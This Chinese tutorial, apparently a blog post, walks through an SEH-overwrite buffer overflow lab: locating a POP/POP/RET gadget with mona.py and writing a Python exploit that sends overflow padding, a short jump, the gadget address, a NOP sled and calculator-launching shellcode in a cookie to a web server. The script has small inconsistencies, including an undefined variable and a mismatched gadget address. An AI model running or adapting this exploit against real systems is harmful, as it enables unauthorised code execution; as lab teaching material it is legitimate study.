Kali 渗透测试:基于结构化异常处理的渗透-使用Python编写渗透模块(二)

简介: Kali 渗透测试:基于结构化异常处理的渗透-使用Python编写渗透模块(二)

接上文 基于结构化异常处理的渗透-使用Python编写渗透模块(一)https://developer.aliyun.com/article/1618639

1.2.2 查找POP/POP/RET指令的地址
现在需要从一个外部的DLL文件载入一个地址,而且是一个没有被SafeSEH保护的DLL文件的POP/POP/RET指令地址。Mona.py是一个由Python编写的用于Immunity Debugger的插件,它提供了大量用于渗透的功能。在Immunity Debugger最下面的长条框里输入命令!mona module,如下图所示:

image.png
image.png

要查找POP/POP/RET指令,需要使用!mona rop命令。如下图所示:

image.png

这个命令执行的结果是生成,C:\Program Files\ImmunityInc\Immunity Debugger\rop.txt文件,这个镜像文件的格式如下图所示:

image.png

注意:虽然找到了很多DLL文件,但是并非所有的DLL文件都可以使用,只有其中不受SafeSEH机制保护的才可以使用,也就是表中SafeSEH列值为False的。另外,我们要在这些文件中查找POP/POP/RET指令的相关地址。从上图中可以看到第一个ImageLoad.dll就是一个不受SafeSEH机制保护的DLL文件。现在我们需要做的就是在这个文件中找到一条POP/POP/RET指令和它的地址。Immunity Debugger中的Mona.py已经找出了这些POP/POP/RET指令,如下图所示:

image.png

从图中选择0x10017743作为要使用的POP/POP/RET指令地址,这条记录完整的内如下:

0x10017743 : # POP EBP #  POP EBX 3 RETN     ** [ImageLoad.dll] **     | ascii{
   PAGE_EXECUTE_READ}

我们将会使用0x10019798作为POP/POP/RET指令的地址。现在已经有了两个可以用来编写渗透模块的重要组件,一个偏移量,另一个是用来载入catch块的地址,也就是POP/POP/RET指令的地址。

1.3 使用Python编写渗透模块
定义发往目标服务器的数据,包括如下几个部分:

  • 导致目标服务溢出的字符(4059个“A”)
  • Payload = “A” * 4059
  • 实现跳转的指令(“\xeb\x06\x90\x90”)
  • buff += “\xeb\x06\x90\x90”
  • POP/POP/RET指令地址
  • buff += “\x43\x77\x01\x10”
  • 用来实现空指令滑行的代码,作用就是在跳转地址和Shellcode之间设置一个滑行区域,这个区域使用空指令填充,从而避免Shellcode中的代码不能正常执行,在此处添加30、40、50个空指令都可以使代码滑行到Shellcode部分(这个数值通过测试得到)。空指令的数量太少会崩溃,太多会死机:
  • Payload += “\x90” * 40
  • 用来在目标主机上实现特定功能的代码,在很多地方可以找到这种代码,另外Kali 中也提供了这种工具,下面是一代码的作用就是启动Windows系统下的计算器。
  • 构造一个发往目标主机的数据包,参照1.2中的内容:
  • cookies = dict(SESSIONID=‘28740’, UserID=buff, PassWD=‘abcdefg’)
  • data=dict(frmLogin=True, frmUserName=‘123’, frmUserPass=‘abcdefg’, login=‘Login’)
  • requests.post(‘http://’+host+‘:’+str(port)+‘/forum.ghp’, cookies=cookies,data=data)

使用socket将这个数据包发送出去:

requests.post('http://'+host+':'+str(port)+'/forum.ghp',cookies=cookies,data=data)

完整的程序如下所示:

import requests
host = '192.168.68.129'
port = 80
shellcode=( '\xd9\xcb\xbe\xb9\x23\x67\x31\xd9\x74\x24\xf4\x5a\x29\xc9\xb1\x13\x31\x72\x19\x83\xc2\x04\x03\x72\x15\x5b\xd6\x56\xe3\xc9\x71\xfa\x62\x81\xe2\x75\x82\x0b\xb3\xe1\xc0\xd9\x0b\x61\xa0\x11\xe7\x03\x41\x84\x7c\xdb\xd2\xa8\x9a\x97\xba\x68\x10\xfb\x5b\xe8\xad\x70\x7b\x28\xb3\x86\x08\x64\xac\x52\x0e\x8d\xdd\x2d\x3c\x3c\xa0\xfc\xbc\x82\x23\xa8\xd7\x94\x6e\x23\xd9\xe3\x05\xd4\x05\xf2\x1b\xe9\x09\x5a\x1c\x39\xbd')  #这是一段可以在windows 7中国启动计算器的代码
buff = 'A' * 4059
buff += '\xeb\x06\x90\x90'
buff += '\x43\x77\x01\x10'
buff += '\x90' * 40
buff += shellcode
buff += 'C' * 50
cookies = dict(SESSIONID='28740', UserID=buff, PassWD='abcdefg')
requests.post('http://'+host+':'+str(port)+'/forum.ghp', cookies=cookies,data=data)

image.png

执行这段程序以后,在目标主机查看反应,结果如下图所示:
image.png

相关文章
|
10天前
|
Linux Shell 网络安全
Kali Linux系统Metasploit框架利用 HTA 文件进行渗透测试实验
本指南介绍如何利用 HTA 文件和 Metasploit 框架进行渗透测试。通过创建反向 shell、生成 HTA 文件、设置 HTTP 服务器和发送文件,最终实现对目标系统的控制。适用于教育目的,需合法授权。
44 9
Kali Linux系统Metasploit框架利用 HTA 文件进行渗透测试实验
|
4天前
|
数据采集 算法 数据安全/隐私保护
【硬件测试】基于FPGA的2FSK调制解调系统开发与硬件片内测试,包含信道模块,误码统计模块,可设置SNR
本文介绍了基于FPGA的2FSK调制解调系统,包含高斯信道、误码率统计模块及testbench。系统增加了ILA在线数据采集和VIO在线SNR设置模块,支持不同SNR下的硬件测试,并提供操作视频指导。理论部分涵盖频移键控(FSK)原理,包括相位连续与不连续FSK信号的特点及功率谱密度特性。Verilog代码实现了FSK调制解调的核心功能,支持在不同开发板上移植。硬件测试结果展示了不同SNR下的性能表现。
25 6
|
20天前
|
敏捷开发 测试技术 持续交付
自动化测试之美:从零开始搭建你的Python测试框架
在软件开发的马拉松赛道上,自动化测试是那个能让你保持节奏、避免跌宕起伏的神奇小助手。本文将带你走进自动化测试的世界,用Python这把钥匙,解锁高效、可靠的测试框架之门。你将学会如何步步为营,构建属于自己的测试庇护所,让代码质量成为晨跑时清新的空气,而不是雾霾中的忧虑。让我们一起摆脱手动测试的繁琐枷锁,拥抱自动化带来的自由吧!
|
2月前
|
安全 Java 数据库
shiro学习一:了解shiro,学习执行shiro的流程。使用springboot的测试模块学习shiro单应用(demo 6个)
这篇文章是关于Apache Shiro权限管理框架的详细学习指南,涵盖了Shiro的基本概念、认证与授权流程,并通过Spring Boot测试模块演示了Shiro在单应用环境下的使用,包括与IniRealm、JdbcRealm的集成以及自定义Realm的实现。
50 3
shiro学习一:了解shiro,学习执行shiro的流程。使用springboot的测试模块学习shiro单应用(demo 6个)
|
1月前
|
编解码 安全 Linux
网络空间安全之一个WH的超前沿全栈技术深入学习之路(10-2):保姆级别教会你如何搭建白帽黑客渗透测试系统环境Kali——Liinux-Debian:就怕你学成黑客啦!)作者——LJS
保姆级别教会你如何搭建白帽黑客渗透测试系统环境Kali以及常见的报错及对应解决方案、常用Kali功能简便化以及详解如何具体实现
|
1月前
|
JSON 测试技术 持续交付
自动化测试与脚本编写:Python实践指南
自动化测试与脚本编写:Python实践指南
40 1
|
2月前
|
计算机视觉
目标检测笔记(二):测试YOLOv5各模块的推理速度
这篇文章是关于如何测试YOLOv5中不同模块(如SPP和SPPF)的推理速度,并通过代码示例展示了如何进行性能分析。
125 3
|
1月前
|
Web App开发 测试技术 数据安全/隐私保护
自动化测试的魔法:使用Python进行Web应用测试
【10月更文挑战第32天】本文将带你走进自动化测试的世界,通过Python和Selenium库的力量,展示如何轻松对Web应用进行自动化测试。我们将一起探索编写简单而强大的测试脚本的秘诀,并理解如何利用这些脚本来确保我们的软件质量。无论你是测试新手还是希望提升自动化测试技能的开发者,这篇文章都将为你打开一扇门,让你看到自动化测试不仅可行,而且充满乐趣。
|
2月前
|
网络协议 安全 Linux
Kali渗透测试:拒绝服务攻击(一)
Kali渗透测试:拒绝服务攻击(一)
189 2
|
2月前
|
测试技术 PHP 开发工具
php性能监测模块XHProf安装与测试
【10月更文挑战第13天】php性能监测模块XHProf安装与测试
34 0

热门文章

最新文章